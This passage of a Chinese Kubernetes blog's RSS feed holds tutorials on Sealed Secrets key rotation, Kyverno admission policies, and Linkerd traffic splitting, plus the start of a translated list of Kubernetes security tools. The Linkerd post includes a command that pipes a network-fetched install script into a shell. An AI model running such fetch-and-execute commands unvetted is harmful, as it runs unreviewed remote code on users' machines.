&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# 看看是否生成了 secret
$ kubectl get secrets
NAME                  TYPE                                  DATA   AGE
...
top-secret            Opaque                                1      6s
# 查看 top-secret 内容
$ kubectl view-secret top-secret cloud
grass
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;备份-恢复和轮转&#34;&gt;备份、恢复和轮转&lt;/h2&gt;

&lt;p&gt;前面提到，Kubeseal 安装过程中除了生成 Deployment 之外，还生成了一个 Secret，仔细观察会看到这个 Secret 带有一个标签：&lt;code&gt;sealedsecrets.bitnami.com/sealed-secrets-key=active&lt;/code&gt;，代表这个 Secret 是正用于加密的。只要把这个 Secret 进行备份，或者复制到其它集群上，就可以用同样的密钥进行加密了。
如果把这个标签值修改为 &lt;code&gt;compromised&lt;/code&gt;，就代表这一密钥已经过期。&lt;/p&gt;

&lt;p&gt;对 Secret 进行上述的修改之后，可以删除控制器 Pod，以便生成并启用新的密钥，当然，过去生成的加密内容也不再有效，需要重新进行加密。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;看都看了，万一有人有用呢。。。。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 Kyverno 定义 Kubernetes 策略</title>
      <link>/post/introduce-kyverno/</link>
      <pubDate>Fri, 19 Jul 2019 09:56:01 +0800</pubDate>
      <guid>/post/introduce-kyverno/</guid>
      <description>

&lt;p&gt;Kubernetes 的日常使用过程中，在对象提交给集群之前，我们会有很多机会，很多方法对资源的 Yaml 定义进行检查和处理。很多读者应该也会知道，资源提交之后，还有机会使用 Admission Controller 对资源动动手脚，这其中其实有很多可以提炼出来的标准动作，可以用统一的控制器来进行处理，&lt;a href=&#34;https://github.com/nirmata/kyverno&#34; target=&#34;_blank&#34;&gt;Kyverno&lt;/a&gt; 就是这样一个工具。有了 Kyverno 的帮助，YAML 程序员可以根据条件对资源进行筛选，符合条件的资源可以：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;验证资源：对资源定义进行检查，不符合条件的资源拒绝创建，从而保证集群资源的合规性。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;修改资源：在资源定义中进行注入，强制资源部分行为的一致性。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;生成资源：在资源创建时，同时创建相关的资源。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;安装过程是很简单的，安装清单文件位于 &lt;code&gt;https://github.com/nirmata/kyverno/raw/master/definitions/install.yaml&lt;/code&gt;，使用 kubectl 直接部署即可：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl create -f https://github.com/nirmata/kyverno/raw/master/definitions/install.yaml
customresourcedefinition.apiextensions.k8s.io/policies.kyverno.io created
namespace/kyverno created
service/kyverno-svc created
serviceaccount/kyverno-service-account created
clusterrolebinding.rbac.authorization.k8s.io/kyverno-admin created
deployment.extensions/kyverno created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有一点需要注意的是资源的类型范围，可以在主进程的命令行参数中设定不需要处理的资源类型，缺省设置为：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  containers:
    - name: kyverno
      image: nirmata/kyverno:latest
      args: [&amp;quot;--filterKind&amp;quot;,&amp;quot;Node,Event,APIService,Policy,TokenReview,SubjectAccessReview&amp;quot;]
      ports:
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;策略定义&#34;&gt;策略定义&lt;/h2&gt;

&lt;p&gt;安装完成后，就可以编写策略了，策略的规则不算复杂，具体格式可以从 &lt;code&gt;install.yaml&lt;/code&gt; 中的 CRD 定义里面推断出来。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion : kyverno.io/v1alpha1
kind: Policy
metadata:
  name: sample-policy
spec:
  rules: # 规则数组，spec 的唯一下级
  - name: check-rule-1
    resource: # 定义选择条件，限制生效范围
      kinds: # 生效对象类型数组，必要字段
      - Deployment
      - StatefulSet
      namespace: default  # 命名空间
      name: &amp;quot;*&amp;quot; # 资源名称
      selector: # 用更加复杂一点的方式来定义选择方式
        matchLabels: # 精确匹配标签
          app: some-app
        matchExpressions: # 表达式匹配标签
          key: &amp;quot;operator&amp;quot;
          operator: In
          values:
          - v2
          - v3
    validate:
      ...
    mutate:
      ...
    generate:
      ...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;resource&lt;/code&gt; 部分是固定的，而 &lt;code&gt;validate&lt;/code&gt; &lt;code&gt;mutate&lt;/code&gt; &lt;code&gt;generate&lt;/code&gt; 三个动作则各有各的结构。&lt;/p&gt;

&lt;p&gt;下面用几个例子来演示一下他的功能。&lt;/p&gt;

&lt;h2 id=&#34;验证资源-validate&#34;&gt;验证资源（validate）&lt;/h2&gt;

&lt;p&gt;定义一个限制特定命名空间下镜像地址的策略如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion : kyverno.io/v1alpha1
kind: Policy
metadata:
  name: check-registries
spec:
  rules:
  - name: check-registries
    resource:
      kinds:
      - Deployment
      namespace: default
    validate:
      message: &amp;quot;Registry is not allowed&amp;quot;
      pattern:
        spec:
          template:
            spec:
              containers:
              - name: &amp;quot;*&amp;quot;
                image: &amp;quot;docker.io/citizenstig/*&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个策略文件中，&lt;code&gt;pattern&lt;/code&gt; 部分和我们要处理的 &lt;code&gt;deployment&lt;/code&gt; 文档结构一致，其中支持通配符，可以用它来对目标进行校验，这里我们要求 &lt;code&gt;default&lt;/code&gt; 命名空间中的 &lt;code&gt;Deplyment&lt;/code&gt; 对象，&lt;code&gt;containers&lt;/code&gt; 下的 &lt;code&gt;image&lt;/code&gt; 字段必须符合 &lt;code&gt;docker.io/citizenstig/*&lt;/code&gt; 的通配符要求。&lt;/p&gt;

&lt;p&gt;例如下面的的 Deployment 就无法创建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: httpbin
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: httpbin
        version: v1
    spec:
      containers:
        - name: httpbin
          image: citizenstig/httpbin
          imagePullPolicy: IfNotPresent
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f httpbin.yaml
Error from server: error when creating &amp;quot;httpbin.yaml&amp;quot;: admission webhook &amp;quot;nirmata.kyverno.validating-webhook&amp;quot; denied the request:
Policy check-registries failed with following rules;rulename: check-registries;Rule check-registries: Validation has failed, err Failed to validate value citizenstig/httpbin with pattern docker.io/citizenstig/*. Path: /spec/template/spec/containers/0/image/.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;但是如果我们换个命名空间就没问题了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl create ns free
kunamespace/free created
$ kubectl apply -f httpbin.yaml -n free
deployment.extensions/httpbin created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;又或者我们不用 Deployment，直接创建 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: static-httpbin
spec:
  containers:
    - name: httpbin
      image: citizenstig/httpbin
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;果然就能够创建成功了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f pod.yaml
pod/static-httpbin created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样的绕过自然是我们不想要的，但是可以改变策略，把限制做到 Pod 上：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  rules:
  - name: check-registries
    resource:
      kinds:
      - Pod
      namespace: default
    validate:
      message: &amp;quot;Registry is not allowed&amp;quot;
      pattern:
        spec:
          containers:
          - name: &amp;quot;*&amp;quot;
            image: &amp;quot;docker.io/citizenstig/*&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样更新之后，不管是 Deployment 还是静态 Pod 都无法通过了。&lt;/p&gt;

&lt;p&gt;如果使用 &lt;code&gt;kubectl edit deploy httpbin&lt;/code&gt; 把 &lt;code&gt;image&lt;/code&gt; 字段修改为 &lt;code&gt;docker.io/citizenstig/httpbin&lt;/code&gt;，就能看到  &lt;code&gt;deployment&lt;/code&gt; 能够正常工作了。&lt;/p&gt;

&lt;p&gt;或者我们可以要求所有 Pod 都必须指定 CPU 限制：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;validate:
  message: &amp;quot;resources/limits is needed.&amp;quot;
  pattern:
    spec:
      template:
        spec:
          containers:
          - resources:
              limits:
                cpu: &amp;quot;*&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个策略提交之后，上面的 Deploy 就再次无法部署了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f httpbin.yaml
Error from server: error when creating &amp;quot;httpbin.yaml&amp;quot;: admission webhook &amp;quot;nirmata.kyverno.validating-webhook&amp;quot; denied the request:
...
Path: /spec/template/spec/containers/0/resources/limits/. Expected map[string]interface {}, found &amp;lt;nil&amp;gt;.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;修改清单，加入资源限制，即可满足条件。&lt;/p&gt;

&lt;h2 id=&#34;修改资源-mutate&#34;&gt;修改资源（mutate）&lt;/h2&gt;

&lt;p&gt;这里也可以做类似自动注入的内容，例如我们可以要求所有 &lt;code&gt;default&lt;/code&gt; 命名空间中的 Deployment，如果 &lt;code&gt;deployment&lt;/code&gt; 标签中有 &lt;code&gt;io=heavy&lt;/code&gt;，则分配到 &lt;code&gt;ssd=true&lt;/code&gt; 的节点上。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion : kyverno.io/v1alpha1
kind: Policy
metadata:
  name: assign-ssd
spec:
  rules:
  - name: assign-ssd
    resource:
      kinds:
      - Deployment
      namespace: default
      selector:
        matchLabels:
          io: heavy
    mutate:
      overlay:
        spec:
          template:
            spec:
              nodeSelector:
                ssd: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;修改一下上面的 &lt;code&gt;Deployment&lt;/code&gt;，加上标签：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: httpbin
  labels:
    io: heavy
spec:
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交到集群之后，查看变更结果：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get deployments httpbin -o yaml
apiVersion: extensions/v1beta1
kind: Deployment
...
    spec:
...
      dnsPolicy: ClusterFirst
      nodeSelector:
        ssd: &amp;quot;true&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看到多出来的 &lt;code&gt;nodeSelector&lt;/code&gt; 字段，如果查看 Pod 信息，也会发现这个 Deployment 的所有 Pod 都分配到了指定的节点上。&lt;/p&gt;

&lt;h2 id=&#34;创建资源-generate&#34;&gt;创建资源（generate）&lt;/h2&gt;

&lt;p&gt;有时候我们在 Kubernetes 上创建资源的时候，可能希望同时提供一些缺省资源，例如一个新的命名空间，我们希望其中包含缺省的 Configmap 或者 SA 或者资源限制。&lt;/p&gt;

&lt;p&gt;例如我们要在新建 &lt;code&gt;test-n&lt;/code&gt; 的命名空间的同时，创建名为 &lt;code&gt;dummy&lt;/code&gt; 的 sa。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion : kyverno.io/v1alpha1
kind: Policy
metadata:
  name: auto-sa
spec:
  rules:
  - name: auto-sa
    resource:
      kinds:
      - Namespace
      name: &amp;quot;test-*&amp;quot;
    generate:
      kind: ServiceAccount
      name: dummy
      data:
        spec: {}
        metadata:
          labels:
            source: &amp;quot;webhook&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个策略生效后，每次我们创建形如 &lt;code&gt;test-*&lt;/code&gt; 的命名空间，其中都会生成对应的名为 &lt;code&gt;dummy&lt;/code&gt; 的 ServiceAccount，并且有标签：&lt;code&gt;source=webhook&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;Generate 还提供了复制对象的方法，例如每个新命名空间中都应该复制一个名为 &lt;code&gt;conn&lt;/code&gt; 的 &lt;code&gt;Configmap&lt;/code&gt;，就可以使用如下策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion : kyverno.io/v1alpha1
kind: Policy
metadata:
  name: auto-cm
spec:
  rules:
  - name: auto-cm
    resource:
      kinds:
      - Namespace
      name: &amp;quot;test-*&amp;quot;
    generate:
        kind: ConfigMap
        name: conn
        clone:
          namespace: default
          name: conn
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;随意验证一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl create configmap conn \
    --from-literal=mysql=mysql \
    --from-literal=mongodb=mongodb
configmap/conn created
$ kubectl create ns test-6
namespace/test-6 created
$ kubectl get cm,sa -n test-6
NAME             DATA   AGE
configmap/conn   2      6s

NAME                     SECRETS   AGE
serviceaccount/default   1         7s
serviceaccount/dummy     1         6s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里会发现，随着新的命名空间的创建，新的 SA 和 CM 也都出现了。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;相对于其他的类似工具，Kyverno 在灵活、强大和易用之间取得了一个很好的平衡，不需要太多学习时间，就能够提供相当方便的功能，官网提供了大量的针对各种场景的样例，非常值得一看。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;项目主页：&lt;code&gt;https://kyverno.io/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>在 Linkerd2 中进行流量拆分</title>
      <link>/post/split-traffic-in-linkerd2/</link>
      <pubDate>Fri, 12 Jul 2019 11:40:31 +0800</pubDate>
      <guid>/post/split-traffic-in-linkerd2/</guid>
      <description>&lt;p&gt;最新发布的 Linkerd 2.4，加入了对流量拆分的支持。&lt;/p&gt;

&lt;p&gt;安装最新版本之后，可以看到这个流量拆分功能所使用的 API 资源并非来自 Linkerd，而是 SMI 规范的一部分。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ curl -sL https://run.linkerd.io/install | sh
...
$ kubectl api-resources | grep -i split
trafficsplits ts split.smi-spec.io true TrafficSplit
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;和 Istio 的 Service + Selector 的拆分方式不同，Linkerd 其实没有什么特别的上游定义方式，简单的定义独立的 Service 即可。例如我们要从 &lt;code&gt;flaskapp&lt;/code&gt; 服务分流到 v1 和 v2 两个版本，在 Istio 中，需要定义一个 flaskapp 服务，然后使用标签，在 Service 的标签子集中，选择两组 Subset 作为目的地。而在 Linkerd/SMI 中，就需要分别定义三个服务了，例如 flaskapp、flaskapp-v1、flaskapp-v2。下面简单操练一下。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ wget https://raw.githubusercontent.com/fleeto/istio-for-beginner/master/code/flaskapp/flaskapp.istio.yaml
$ linkerd inject flaskapp.istio.yaml | kubectl apply -f -
...
$ wget https://raw.githubusercontent.com/fleeto/istio-for-beginner/master/code/sleep/sleep.yaml
$ linkerd inject sleep.yaml | kubectl apply -f -
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;分别安装了两个版本的 flaskapp，和一个版本的 sleep 服务之后。再创建两个 flaskapp 的分版本服务。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: flaskapp-v1
  labels:
    app: flaskapp
spec:
  selector:
    app: flaskapp
    version: v1
  ports:
    - name: http
      port: 80
      targetPort: 80
---
apiVersion: v1
kind: Service
metadata:
  name: flaskapp-v2
  labels:
    app: flaskapp
spec:
  selector:
    app: flaskapp
    version: v2
  ports:
    - name: http
      port: 80
      targetPort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建两个服务之后，就可以尝试拆分了，同样是一个 YAML：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: split.smi-spec.io/v1alpha1
kind: TrafficSplit
metadata:
  name: flask-split
spec:
  service: flaskapp
  backends:
  - service: flaskapp-v1
    weight: 1
  - service: flaskapp-v2
    weight: 500m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意这里的定义和 Istio 也稍有不同，使用权重而非百分比进行分流。&lt;/p&gt;

&lt;p&gt;可以在 Sleep 中进行测试：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ for i in {1..1000}; do curl -sSL http://flaskapp/env/version | grep v1; done | wc -l
660
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，按照我们的权重分配，成功进行了分流。但是目前在 SMI 中并没有看到条件选择的相关内容，因此目前的功能还比较初级。可以通过 &lt;a href=&#34;https://flagger.app/&#34; target=&#34;_blank&#34;&gt;Flagger&lt;/a&gt; 的加持，实现更加复杂的功能。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>33 个 Kubernetes 安全工具</title>
      <link>/post/33-kubernetes-security-tools/</link>
      <pubDate>Thu, 11 Jul 2019 15:00:49 +0800</pubDate>
      <guid>/post/33-kubernetes-security-tools/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://sysdig.com/blog/33-kubernetes-security-tools/&#34; target=&#34;_blank&#34;&gt;33 Kubernetes security tools&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://sysdig.com&#34; target=&#34;_blank&#34;&gt;Mateo Burillo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;h2&gt;目录&lt;/h2&gt;
HAHAHUGOSHORTCODE-TOC0-HBHB&lt;/p&gt;

&lt;p&gt;Kubernetes 的安全工具多得很，有不同的功能、范围以及授权方式。因此我们建立了这个 Kubernetes 安全工具列表，其中有来自不同厂商的开源项目和商业平台，读者可以根据兴趣和需要进行了解和选择。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-安全工具-分类&#34;&gt;Kubernetes 安全工具——分类&lt;/h2&gt;

&lt;p&gt;为了方便读者浏览目录，我们把这些工具按照主要功能和范围进行了分类：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kubernetes 镜像扫描和静态分析&lt;/li&gt;
&lt;li&gt;Kubernetes 运行时安全&lt;/li&gt;
&lt;li&gt;Kubernetes 网络安全&lt;/li&gt;
&lt;li&gt;镜像分发和机密管理&lt;/li&gt;
&lt;li&gt;Kubernetes 安全审计&lt;/li&gt;
&lt;li&gt;端到端的 Kubernetes 安全商业产品&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们最爱的容器编排平台已经成熟，会有越来越多的 Kubernetes 安全工具涌现出来，如果读者发现我们列表的错漏，请在 Twitter 上联系 &lt;a href=&#34;https://twitter.com/sysdig&#34; target=&#34;_blank&#34;&gt;@sysdig&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;言归正传。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-镜像扫描&#34;&gt;Kubernetes 镜像扫描&lt;/h2&gt;

&lt;h3 id=&#34;anchore&#34;&gt;Anchore&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/anchore_k8s_security.png&#34; alt=&#34;anchore&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://anchore.com&#34; target=&#34;_blank&#34;&gt;https://anchore.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）以及商业产品&lt;/p&gt;

&lt;p&gt;Anchore 引擎不但能够对容器镜像进行分析，更可以使用用户自定义的策略来完成自定义的安全检查。&lt;/p&gt;

&lt;p&gt;除了利用 CVE 数据库来对已知威胁进行扫描之外，Anchore 还提供了很多附加标准可以进行配置，来作为扫描策略的一部分：Dockerfile 检查、凭据泄露、语言相关内容（mpm、maven 等）、软件许可等。&lt;/p&gt;

&lt;h3 id=&#34;clair&#34;&gt;Clair&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/clair_k8s_security.png&#34; alt=&#34;Clair&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://coreos.com/clair&#34; target=&#34;_blank&#34;&gt;https://coreos.com/clair&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Clair 是最早开源的镜像扫描项目之一，也是 Quay 镜像库的安全扫描引擎。Clair 能从很多数据源中拉取 CVE 信息，其中包括来自 Debian、RedHat 或者 Ubuntu 安全团队的特定发行版的威胁列表。&lt;/p&gt;

&lt;p&gt;和 Anchore 不同的是，Clair 专注于威胁检测和 CVE 匹配的功能，也提供了一定的扩展性，让用户通过实现可插接驱动来实现扩展。&lt;/p&gt;

&lt;h3 id=&#34;dagda&#34;&gt;Dagda&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/dagda_k8s_security.png&#34; alt=&#34;Dagda&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://github.com/eliasgranderubio/dagda&#34; target=&#34;_blank&#34;&gt;https://github.com/eliasgranderubio/dagda&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Dagda 会针对容器镜像中已知的漏洞、特洛伊、病毒、恶意软件和其它恶意威胁进行静态分析。&lt;/p&gt;

&lt;p&gt;和其它的 Kubernetes 安全工具相比，Dagda 有两个与众不同之处：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;原生集成了 &lt;a href=&#34;https://www.clamav.net/&#34; target=&#34;_blank&#34;&gt;ClamAV&lt;/a&gt;，不仅可以扫描镜像，还能用作防毒软件。&lt;/li&gt;
&lt;li&gt;Dagda 还提供了运行时保护功能。从 Docker 守护进程实时收集事件，并和 Falco 集成识别安全事件。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;kubexray&#34;&gt;KubeXray&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/kubexray_k8s_security.png&#34; alt=&#34;KubeXray&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://github.com/jfrog/kubexray&#34; target=&#34;_blank&#34;&gt;https://github.com/jfrog/kubexray&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache），但是需要从 JFrog Xray（商业产品）获取数据。&lt;/p&gt;

&lt;p&gt;KubeXray 监听 Kubernetes API Server 的事件，并利用 JFrog Xray（商业产品）的元数据来确认只有符合策略要求的 Pod 才能运行。&lt;/p&gt;

&lt;p&gt;KubeXray 不只会对新建或者更新的容器部署进行审计（Kuberentes 准入控制就是这样），还能动态的根据新的安全策略对运行中的容器进行检查，并删除有漏洞的镜像所对应的资源。&lt;/p&gt;

&lt;h3 id=&#34;snyk&#34;&gt;Snyk&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/snyk_k8s_security.png&#34; alt=&#34;Snyk&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://snyk.io/&#34; target=&#34;_blank&#34;&gt;https://snyk.io/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）以及商业产品&lt;/p&gt;

&lt;p&gt;Snyk 是一个特别的漏洞检测工具，其特点是着眼于开发工作流，自称是开发第一的解决方案。&lt;/p&gt;

&lt;p&gt;Snyk 会直接链接到代码仓库，解析项目结构，并分析引入的代码及其直接和间接依赖。Snyk 支持很多流行的编程语言，还能发现潜在的许可风险。&lt;/p&gt;

&lt;h3 id=&#34;trivy&#34;&gt;Trivy&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/trivy_k8s_security.png&#34; alt=&#34;Trivy&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://github.com/knqyf263/trivy&#34; target=&#34;_blank&#34;&gt;https://github.com/knqyf263/trivy&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（AGPL）&lt;/p&gt;

&lt;p&gt;Trivy 是个简单全面的容器漏洞检测工具，能够方便的和 CI/CD 进行集成。它的安装和操作都很简单，只需要一个二进制文件，无需安装数据库和其它的附加内容。&lt;/p&gt;

&lt;p&gt;Trivy 的简便性的一个缺点是需要学习如何解析和转发它的 JSON 输出，这才能方便其它工具进行调用。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-运行时安全&#34;&gt;Kubernetes 运行时安全&lt;/h2&gt;

&lt;h3 id=&#34;falco&#34;&gt;Falco&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/falco_k8s_security.png&#34; alt=&#34;Falco&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://falco.org/&#34; target=&#34;_blank&#34;&gt;https://falco.org/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Falco 是一个云原生的运行时安全工具，CNCF 成员项目。&lt;/p&gt;

&lt;p&gt;利用 Sysdig 的 Linux 内核指令和系统调用分析，Falco 能够深入理解系统行为。它的运行时规则引擎能够检测应用、容器、主机以及 Kubernetes 的反常行为。&lt;/p&gt;

&lt;p&gt;凭借 Falco，在每个 Kubernetes 节点部署一个代理，无需修改或者注入第三方代码或者加入 Sidecar 容器，就能够得到完整的运行时可见性以及威胁检测。&lt;/p&gt;

&lt;h3 id=&#34;linux-运行时安全框架&#34;&gt;Linux 运行时安全框架&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/linux_security_tools.png&#34; alt=&#34;Linux runtime security frameworks&#34; /&gt;&lt;/p&gt;

&lt;p&gt;原生的 Linux 框架其实不能算作是“Kubernetes 安全工具”，但它们的运行时安全上下文是可以包括在 Kubernetes 的 Pod 安全策略之中的（PSP），所以还是值得一提。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://gitlab.com/apparmor/apparmor/wikis/home/&#34; target=&#34;_blank&#34;&gt;AppArmor&lt;/a&gt; 为容器内的进程附加一个安全档案，其中定义了文件系统、权限、网络访问规则、库链接等。这是一个访问控制系统，会阻止未经授权的动作发生。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://selinuxproject.org/page/Main_Page&#34; target=&#34;_blank&#34;&gt;SELinux&lt;/a&gt; 是一个 Linux 内核安全模块，和 AppArmor 有点相似，常常被拉来做比较。SELinux 更加强大，粒度更细，也比 AppArmor 更有弹性，学习曲线更加陡峭、也更加复杂。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/seccomp/libseccomp&#34; target=&#34;_blank&#34;&gt;Seccomp&lt;/a&gt; 和 seccomp-bpf 允许对系统调用进行过滤，可以防止用户的二进制文对主机操作系统件执行通常情况下并不需要的危险操作。它和 &lt;a href=&#34;https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/&#34; target=&#34;_blank&#34;&gt;Falco 有些类似&lt;/a&gt;，不过 Seccomp 没有为容器提供特别的支持。&lt;/p&gt;

&lt;h3 id=&#34;开源版-sysdig&#34;&gt;开源版 Sysdig&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/sysdig_k8s_security.png&#34; alt=&#34;Sysdig open source&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.sysdig.com/opensource&#34; target=&#34;_blank&#34;&gt;https://www.sysdig.com/opensource&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：免费（Apache）&lt;/p&gt;

&lt;p&gt;Sysdig 是一个全面的 Linux 系统（在 Windows 和 Mac OSX 下也提供了有限支持）下的观察、排错和调试工具。可以用来对主机操作系统以及运行其上的容器进行详细的监控和观察。&lt;/p&gt;

&lt;p&gt;Sysdig 还对容器运行时以及 Kubernetes 元数据提供了原生支持，能在收集到的系统活动数据中加入额外的维度和标签。Sysdig 提供了很多方式来探索 Kubernetes 集群：可以使用 &lt;a href=&#34;https://github.com/sysdiglabs/kubectl-capture&#34; target=&#34;_blank&#34;&gt;kubectl capture&lt;/a&gt; 创建一个是检点的快照，或者使用 &lt;a href=&#34;https://github.com/sysdiglabs/kubectl-dig&#34; target=&#34;_blank&#34;&gt;kubectl dig&lt;/a&gt; 来进行交互访问。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-网络安全&#34;&gt;Kubernetes 网络安全&lt;/h2&gt;

&lt;h3 id=&#34;aporeto&#34;&gt;Aporeto&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/aporeto_k8s_security.png&#34; alt=&#34;aporeto&#34; /&gt;&lt;/p&gt;

&lt;p&gt;主页：&lt;a href=&#34;https://www.aporeto.com/&#34; target=&#34;_blank&#34;&gt;https://www.aporeto.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;许可：商业&lt;/p&gt;

